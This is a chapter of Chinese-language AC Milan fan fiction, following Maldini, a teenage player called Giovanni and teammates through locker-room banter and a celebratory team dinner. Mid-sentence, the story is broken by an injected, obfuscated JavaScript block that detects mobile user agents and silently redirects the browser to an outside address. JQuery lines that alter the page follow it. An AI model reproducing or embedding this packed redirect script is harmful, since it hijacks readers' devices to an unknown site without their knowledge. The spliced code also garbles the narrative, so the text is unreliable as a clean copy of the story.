最终，AC米兰在新赛季首轮主场3比1完胜对手，全取三分。比埃尔霍夫梅开二度，皮尔洛在禁区边缘接乔瓦尼助攻远射破门。
赛后，扎切罗尼春风满面地带着比埃尔霍夫出席了新闻发布会。
米兰更衣室里洋溢着欢快的气氛，特别是经历过上赛季球队低迷的老队员们，他们已经太久没有品尝过如此酣畅淋漓的大胜了。
但科斯塔库塔还是把乔瓦尼堵在了淋浴间的隔间门口：“小子，为什么易卜突然不用加‘先生’了？”
乔瓦尼眨了眨眼，立刻明白对方在替谁“打抱不平”。他歪着头，语气自然：“易卜说喊名字更快，场上喊‘先生’太耽误时间了。”
易卜拉欣·巴在一旁咧着嘴笑得开朗，见科斯塔库塔目光扫来，赶紧溜到远处冲澡去了。
科斯塔库塔摸了摸下巴，暗自思忖着乔瓦尼有没有可能在哪场比赛也指挥一下马尔蒂尼，毕竟“保罗”可比“队长”更好发音。
见副队长丝毫没有离开的意思，乔瓦尼只好扯着嗓子朝外面喊了声“队长——”，并顺手抄起花洒把科斯塔库塔冲了出去。
闻声赶来的马尔蒂尼刚踏进淋浴间，就看见浑身湿透的好友。他只好和阿尔贝蒂尼一左一右把科斯塔库塔架走。
“保罗，你什么时候去市政厅改名字？”虽然没上场，但已被淋成落汤鸡的科斯塔库塔索性跟着两位好友冲了个战斗澡。
阿尔贝蒂尼边冲头发边说：“说真的保罗，我们被法国淘汰那晚，你该不会是伤心过度出现幻听了吧？乔也许根本就没喊过你的名字。”
“……”马尔蒂尼沉默地闭上了眼睛，只觉得今天的比赛格外耗神。
由于比赛在下午三点进行，赛后正好赶上晚饭时间。回想起比赛中那些配合失误，科斯塔库塔忽然提议道：“晚上要不要全队一起去聚餐？庆祝赛季首胜。”
马尔蒂尼关掉水阀，点头赞同。这确实是快速增进新老队员感情的好办法，何况明天上午还有半天休假，扎切罗尼应该不会反对。
而当米兰正副队长得知科科正试图邀请乔瓦尼同去夜店放松后，更坚定了要把全队都拉去饭店的决心。
阿尔贝蒂尼坐在更衣长凳上，看着两位好友苦口婆心地劝科科远离夜店的模样，差点笑出声。他真想把这幅画面录下来拿给他们的老队长巴雷西看。
乔瓦尼靠在衣柜前，坐在皮尔洛和安布罗西尼中间，刚冲完热水澡的身体泛着酸软，“约翰，夜店里面到底有什么？为什么弗兰科想去，而保罗和比利却要阻止他？”
他从小生活的福利院位于米兰远郊，入夜后只有少数的餐馆和酒吧会亮着灯。所以夜店对他来说确实是一个未知世界。
克鲁伊夫瞥了眼还未成年的儿子，淡然答道：“人。男人和女人，像沙丁鱼罐头一样紧贴着彼此，在震耳的音乐里互相摩擦。”
约翰生动的形容让乔瓦尼瞬间起了一层鸡皮疙瘩，他光是想象了一下那个场景，就觉得夜店于他而言恐怕与地狱无异……
听到乔瓦尼的心声后，克鲁伊夫暗自松了口气，对自己这番“恐吓教育”的效果相当满意，因为他成功掐灭了未成年儿子对夜店的全部好奇心。
当扎切罗尼从新闻发布会回来后，果然对全队聚餐的提议爽快点头。作为主教练，他深知自己不宜出现在这种放松的场合，所以只是嘱托马尔蒂尼，让他看着点大家，别喝太多酒。
马尔蒂尼自然应下。他掏出手机，给今天没进大名单的多纳多尼和罗西分别去了电话。电话那头的回应都很痛快，今天的胜利确实值得全队好好庆祝。
为了避开媒体的长枪短炮，米兰球员们决定先各自回家换身衣服，再前往餐厅汇合。而马尔蒂尼这次也在自家门厅见识了乔瓦尼“运动衣反穿”的简洁变装思路。
比起被年轻人逗得发笑的玛丽莎与切萨雷，马尔蒂尼无奈地叹了一口气。
经过米兰营养师几个月的努力，乔瓦尼目前身高181公分，体重也艰难地攀升至68公斤。虽然看上去还是一副精瘦的模样，但已经比以前要壮实一些了。
马尔蒂尼父子私下都曾忧心这孩子是否过于单薄，但玛丽莎却认为他们大惊小怪，“急什么？青春期男孩在抽条期就是会突然长高，然后再变壮。”
马尔蒂尼本想反驳母亲，因为乔瓦尼的年龄应该已经过了青春期疯长的阶段，但对方那个不准确的出生日期又让他把话咽了回去。
现在，他把乔瓦尼拉到自己房间，从衣柜里翻出一件卫衣递了过去。既然对方之前都能穿着他的旧球衣去看比赛，想必也不会对穿他衣服有什么抵触心理。
不出预料，乔瓦尼很平常地接过来套在了自己身上。马尔蒂尼的衣服对他来讲大了一号，肩线落在他实际肩头下方一点，呈现出恰到好处的宽松。
“很好。”马尔蒂尼满意地点了点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16773453|184144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头，目光又掠过对方身上那条印着米兰队徽的黑色运动裤……
算了，他想，至少俱乐部的赞助商会非常满意。
一直站在两人身边的克鲁伊夫忽然不合时宜地想道，他和丹妮在一起后，也是这样站在衣柜前被对方打扮，只因为他岳父嘲笑他胡乱穿衣服。
这个念头让荷兰人立即摇了摇头，他带着审视的目光重新打量起眼前的马尔蒂尼与乔瓦尼。真是荒谬，他怎么会产生如此奇怪的联想？
由于运动员需要严格控制饮食，球队特意选了一家以高蛋白肉类为主的牛排馆。二十多人直接包下了整个店面，老板将几张原木长桌拼在一起，才勉强让所有球员坐下。
上赛季在米兰内洛，乔瓦尼一直坐在阿尔贝蒂尼旁边吃饭，同桌上还有米兰正副队长、多纳多尼等老将。他曾经还好奇过为什么克鲁伊维特不和他们坐在一张桌子上，但约翰只是告诉他，“荷兰人和意大利人口味不同，吃不到一块儿。”
这赛季皮尔洛与阿比亚蒂转会过来，再加上科科和安布罗西尼的回归，乔瓦尼很自然地“抛弃”了阿尔贝蒂尼，转身就挤进了同龄队友的那一桌。
科斯塔库塔第一次看见他头也不回地跑开时，下意识张了张嘴，却在马尔蒂尼的阻拦下，望着那个背影无奈地笑了笑。
不过今天所有人都挤在同一张大长桌上，而老队员们还得负责盯着年轻人别喝太多，于是整支“U21冠军队”都被安排在距离马尔蒂尼最近的位置。
身为队长，马尔蒂尼自然要在这样的时刻起身说些什么。
本赛季，俱乐部高层对他们的期待不算太高，联赛前四即可，因为贝卢斯科尼希望下赛季米兰可以杀回欧冠赛场。
米兰队长的发言没有那么慷慨激昂，更不刻意煽情。但他的每个词都很有分量，带着让人信服的力量。
乔瓦尼向后靠在椅背里，安静地注视着对方。
最后，马尔蒂尼举起手中的酒杯，声音不高却清晰地传到每个人耳中：
“Forza Milan。”
话音落下的瞬间，整张长桌爆发出震耳欲聋的吼声——
“——Forza Milan！！！”
乔瓦尼感觉自己的耳膜被震得生疼，但他已不再是过去那个会因为这句口号而下意识瑟缩颤抖的少年了。
在周围队友惊恐的注视下，他举起酒杯，将杯中的红酒一饮而尽。